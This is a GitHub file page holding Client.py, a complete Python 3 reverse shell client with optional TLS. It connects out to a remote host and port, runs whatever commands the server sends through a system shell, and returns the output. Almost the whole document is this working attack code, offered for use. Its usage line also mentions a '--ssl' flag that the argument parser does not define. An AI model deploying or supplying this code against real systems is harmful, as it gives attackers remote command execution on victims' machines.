-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathClient.py
More file actions
86 lines (64 loc) · 2.43 KB
/
Client.py
File metadata and controls
86 lines (64 loc) · 2.43 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
"""
Author - pyCity
Date - 1/22/2019
Version - 2.0
Usage: - python client.py --ssl 127.0.0.1 4444
Description: - Reverse shell in python 3. Has TLS functionality using
- a DHE-RSA-AES256-SHA256 cipher.
"""
import socket
import subprocess
import os
import time
import argparse
import ssl
import sys
def parse_args():
"""Define host and port variables with optional ssl"""
parser = argparse.ArgumentParser(description="Python remote tcp client")
parser.add_argument("host", help="Remote host name to connect to")
parser.add_argument("port", help="Remote port to connect to", type=int)
parser.add_argument("--tls", help="Enable TLS encryption", action="store_true")
# Array of parsed arguments (host, port, encryption)
args = parser.parse_args()
host, port, enc = args.host, args.port, args.tls
return host, port, enc
def connect(host, port, enc=False):
"""Create socket object, connect socket to server"""
s = socket.socket()
socket.setdefaulttimeout(10)
# Wait 10 secs if connection isn't successful immediately
for i in range(10):
try:
if enc == True:
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
context.set_ciphers('DHE-RSA-AES256-SHA256')
context.load_dh_params("dhparam.pem")
context.load_cert_chain(certfile="server.crt", keyfile="server.key")
s = context.wrap_socket(s, do_handshake_on_connect=True)
s.connect((host, port))
return s
except:
time.sleep(5)
def serve_shell(s):
"""Receive commands from remote server and run on local machine"""
# Standard reverse shell
while True:
data = s.recv(1024).decode("utf-8")
if data[:2] == 'cd':
os.chdir(data[3:].strip())
elif data[:4].strip() == "kill":
break
if len(data) > 0:
cmd = subprocess.Popen(data[:], shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
bytes_recieved = cmd.stdout.read() + cmd.stderr.read()
output = str(bytes_recieved, "utf-8")
s.send(str.encode(output + str(os.getcwd()) + '#> '))
s.close()
sys.exit()
if __name__ == "__main__":
host, port, enc = parse_args()
serve_shell(connect(host, port, enc))